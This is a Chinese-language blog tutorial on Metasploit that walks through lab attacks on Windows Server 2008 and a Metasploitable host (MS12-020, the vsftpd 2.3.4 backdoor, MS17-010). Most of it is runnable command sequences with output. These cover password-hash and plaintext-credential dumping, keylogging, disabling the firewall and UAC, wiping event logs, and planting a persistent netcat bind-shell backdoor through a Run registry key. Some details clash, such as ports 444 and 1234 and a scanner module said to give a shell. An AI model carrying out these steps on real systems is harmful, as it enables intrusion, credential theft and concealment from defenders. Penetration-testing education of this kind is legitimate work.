Metasploit Framework-安全漏洞检测工具使用
一款开源的安全漏洞检测工具，简称MSF。可以收集信息、探测系统漏洞、执行漏洞利用测试等，为渗透测试、攻击编码和漏洞研究提供了一个可靠平台。集成数千个漏洞利用、辅助测试模块，并保持持续更新。由著名黑客、安全专家H.D. Moore主导开发排行榜排名第二位官方网站:。在kali中，通过msfconsole进入控制台。
文章共3,279字 · 阅读需要大约11分钟
一款开源的安全漏洞检测工具，简称MSF。可以收集信息、探测系统漏洞、执行漏洞利用测试等，为渗透测试、攻击编码和漏洞研究提供了一个可靠平台。
集成数千个漏洞利用、辅助测试模块，并保持持续更新。
由著名黑客、安全专家H.D. Moore主导开发
SecTools.Org Top Network Security Tools 排行榜排名第二位
官方网站: Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit 。
在kali中，通过msfconsole进入控制台。
一、MSF漏洞框架常用模块
1）模块
指的是MSF框架中所使用的一段软件代码组件，默认有2000多个漏洞利用模块、1000多个辅助模块，以及好几百个后渗透模块。
2）Auxiliary 辅助
只负责执行扫描、嗅探、指纹识别、爆破等相关功能以辅助攻击，不直接在测试机和目标主机之间建立访问。
3）Exploit 漏洞利用
利用目标系统的安全漏洞发起实际的渗透攻击行为，包括用于破坏系统安全的攻击代码，每个漏洞都有相应的攻击代码。
4）Post 后渗透
在取得目标的远程控制权（“得手”）以后，可以进一步实施的攻击动作，如部署后门木马、获取敏感信息、实施跳板攻击等
5）Payloads 载荷
期望目标系统在被攻破以后执行的代码，方便攻击者实施控制；默认采用reverse_tcp反弹式载荷 ，表示从目标主机连接攻击者主机，提供命令行通道；另有bind shell载荷，则会在目标主机监听某个端口，攻击者连接此端口即获取控制权。
6）Evasion 免杀
在渗透测试中实现免杀，以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来
7）Encoders 编码器
包含各种编码工具，可以对payload进行编码加密，以便绕过入侵检测和过滤系统。
8）NOPS 空指令
不做任何操作，占位，可生成过防火墙的各种脚本文件。
二、MSF常见的使用及工作区配置
第一步：初始化数据库
[root] msfdb init //初始化数据库
[root] systemctl enable postgresql //开机自启动数据库
[root] systemctl status postgresql //查看数据库状态
[root] msfconsole //进入msf控制台
- 2099 exploits //利用脚本（攻击脚本）
- 1129 auxiliary //辅助脚本（扫描脚本-信息收集）
- 357 post //后渗透
- 592 payloads //载荷
第二步：创建/删除/切换工作区/检索信息
1）管理工作区
msf6 > workspace //查看默认工作区
msf6 > workspace -a xiaolin //创建工作区xiaolin
msf6 > workspace default //切换到default工作区
msf6 > workspace -d xiaolin //删除工作区xiaolin
2）扫描数据
msf6 > db_nmap -A -v 192.168.100.101 //扫描目标
3）查看扫描结果：
msf6 > workspace -v //显示工作区详细信息
msf6 > hosts //查看扫描的主机
msf6 > services -p 80 //过滤端口
msf6 > services -S http //过滤应用程序
msf6 > services //查看所有服务
msf6 > notes //查看记录
举例：
msf6 > workspace -v
Workspaces
==========
当前 名字 主机 服务 记录
current name hosts services vulns creds loots notes
------- ---- ----- -------- ----- ----- ----- -----
* default 1 23 0 0 0 28
msf6 > services -p 80
Services
========
主机 端口 协议 名字 状态 消息
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.10.143 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
msf6 > services -S http
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.10.143 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.10.143 8180 tcp http open Apache Tomcat/Coyote JSP engine 1.1
第三、msfconsole基础命令
？ //获取帮助
exit //退出MSF控制台
show //查看模块或相关信息
search //搜索模块
use //使用模块
options //列出当前模块的选项
set //设置模块选项
run //运行当前模块
back //返回
msfconsole 常见操作
show exploits //列出所有漏洞利用脚本
show auxiliary //列出所有的辅助脚本
search http //搜索和http 关键词相关的脚本
search smb //搜索和smb 关键词相关的脚本
search EternalBlue //搜索与“永恒之蓝”有关的模块
search EternalBlue type:exploit //过滤出其中的攻击模块
use 0 //使用编号为0的脚本
options //查看当前模块可用的选项
set rhosts 192.168.100.100 //设置远程主机地址
run //运行脚本
三、漏洞的利用案例
案例一：MS12-020 远程桌面漏洞-蓝屏
环境准备： kali一台（攻击） winserver2008（攻击对象）
kali进入到 MSF框架模式： msfconsole
1）查找漏洞
msf6 > search ms12-020
msf6 > search ms12-020
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal No MS12-020 Microsoft Remote Desktop Use-After-Free DoS
1 auxiliary/scanner/rdp/ms12_020_check normal Yes MS12-020 Microsoft Remote Desktop Checker
备注：两个辅助脚本，但是这两个脚本作用不一样
一个是ID为0 有一个关键词 DOS ，这个是发起攻击的脚本
一个是ID为1 有一个关键词 scanner ,这个是扫描的脚本
2) 使用漏洞模块
msf6 > use 1
3) 设置攻击目标主机
msf6 auxiliary(scanner/rdp/ms12_020_check) > set rhosts win2008的IP地址
4）执行攻击
msf6 auxiliary(scanner/rdp/ms12_020_check) > run
5) 检查winserver2008是否蓝屏
案例二：vsftpd 2.3.4 后门漏洞利用CVE-2011-2523
环境准备： kali一台（攻击） 靶机msfadmin-主机（攻击对象）
kali进入到 MSF框架模式： msfconsole
1）查找漏洞
msf6 > search vsftpd
2) 使用漏洞模块
msf6 > use 0
3) 设置攻击目标主机
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 靶机的IP地址
4）执行攻击
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
5）空白地方输入linux命令看是否可以
pwd ls ifconfig 等等命令，如果可以，证明攻击成功
案例三：MS17-010永恒之蓝漏洞利用
环境准备： kali一台（攻击） winserver2008（攻击对象）
kali进入到 MSF框架模式： msfconsole
1）查找漏洞
msf6 > search ms17-010
2) 使用漏洞模块
msf6 > use 0
3) 设置攻击目标主机
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 靶机的IP地址
4）执行攻击
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
攻击成功命令行变成：
meterpreter >
1、获取windows 服务器的密文密码
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
2、通过kiwi模块获取明文密码
meterpreter > load kiwi //加载kiwi
meterpreter > creds_all //检测所有凭证，该命令可以列举系统中的明文密码
3、屏幕截图和屏幕录制
meterpreter > screenshot //屏幕截图
meterpreter > screenshare //屏幕共享，按快捷键Ctrl + C停止
4、meterpreter环境中，操作远程资源
meterpreter > pwd //查看远程目录位置
meterpreter > lpwd //查看在kali本机的目录
meterpreter > shell //进入目标主机的命令行
5、进程迁移
meterpreter > ps //查看进程列表
meterpreter > ps -S explorer //查找explorer进程（用户权限大、不易被结束）
Filtering on 'explorer'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
2424 2562 explorer.exe x64 1 WIN-53H85RJ4I2T\Administrator C:\Windows\Explorer.EXE
meterpreter > migrate 2424 //进程迁移，将 SYSTEM 权限 迁移为 Administrator
meterpreter > getuid //确认迁移后的用户识别码
备注：进程迁移，只能同级别迁移或者高权限用户往低权限迁移，低权限无法往高权限迁
6、执行键盘操作记录
利用后渗透脚本开启键盘记录
meterpreter > run post/windows/capture/keylog_recorder //开启键盘记录后渗透脚本
在 winserver2008 打开记事本，输入任意内容
在 kali 检查是否成功记录
打开新的终端，执行命令检查文件
[root]# cat /root/.msf4/loot/2023042774349_default_192.168.100.100···········
7、 防火墙配置
meterpreter > shell
C:\Windows\system32> chcp 65001 //解决中文乱码
1）关闭防火墙
C:\Windows\system32> netsh advfirewall set allprofiles state off
2） 开启防火墙
C:\Windows\system32>netsh advfirewall set allprofiles state on
3）添加防火墙入站规则，放行444端口
C:\Windows\system32> netsh advfirewall firewall add rule name=xiaolin dir=in action=allow protocol=tcp localport=1234
高级防火墙 防火墙 添加 规则 名字 入站 动作 允许 协议 本地端口
netsh advfirewall firewall add rule name=xiaolin dir=in action=allow protocol=tcp localport=1234
8、 关闭UAC
UAC（User Account Control）用户帐户控制，windows操作系统中一种安全控制机制，可以防止未经授权应用程序的自动安装，阻止恶意程序
winserver2008 检查 UAC 状态
运行中输入 msconfig → 工具 → “更改UAC设置” → 启动
修改注册表项，关闭用户账户控制
c:\windows\system>reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
ADD 添加一个注册表项 -v 创建键值
-t 键值类型 -d 键值的值 1开/0关 -f 覆盖现有注册表项
9、在meterpreter 下清除日志
meterpreter > clearev //擦除windows 事件查看器
[*] Wiping 2345 records from Application... //擦除应用日志
[*] Wiping 3564 records from System... //擦除系统日志
[*] Wiping 4521 records from Security... //擦除安全日志
10、持久性后门
NC：（netcat）被称为网络工具中的瑞士军刀，体积小巧，但功能强大。可以在两台设备上面相互交互，即侦听模式/传输模式
案例目标：防止目标主机修补了漏洞后，无法通过系统漏洞侵入目标主机。植入后门并设置开机自启，黑客可以通过后门444口远程控制目标主机
1、上传后面程序nc.exe 到win-2008
meterpreter > upload /usr/share/windows-binaries/nc.exe c:/windows/system32
查看上传结果及权限
meterpreter > cd c:/windows/system32
meterpreter > ls nc.exe
2、配置注册表开机自启
在 meterpreter > 执行命令，远程配置win-2008注册表，实现nc.exe 能够开机自启
第一：添加键值nc
**meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"
备注：用注册表配置win-2008系统，nc.exe程序开机自启动
第二：查询有没有nc这个键值，确认是否添加成功
meterpreter > reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
Values (3):
nc //新增的注册表
第三：查询 NC键值的详细数值内容
meterpreter > reg queryval -k HKLM\software\microsoft\windows\currentversion\run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Data: C:\windows\system32\nc.exe -Ldp 1234 -e cmd.exe
3、重启win-2008，看nc是否开机自启动
验证：如果1234端口开启代表nc启动成功
打开命令提示符：
C:\Users\Administrator> netstat -an | findstr "1234" //或仅执行 netstat -an，查找1234口
4、后门接入
在 kali 连接 winserver2008，在kali 中打开一个新的终端
[root] nc 2008的IP地址 444
C:\Windows\system32> //成功进入到目标主机命令行
5、清楚痕迹
验证：在事件查看器里面看到的是administrator 的登录信息，可以使用cmd命令清空日志
C:\Windows\system32> wevtutil el //列出日志名称
C:\Windows\system32> wevtutil cl application //清除应用程序日志
C:\Windows\system32> wevtutil cl security //清除安全日志
C:\Windows\system32> wevtutil cl system //清除系统日志
旨在为数千万中国开发者提供一个无缝且高效的云端环境，以支持学习、使用和贡献开源项目。
更多推荐
7
0- 0
已为社区贡献3条内容
所有评论(0)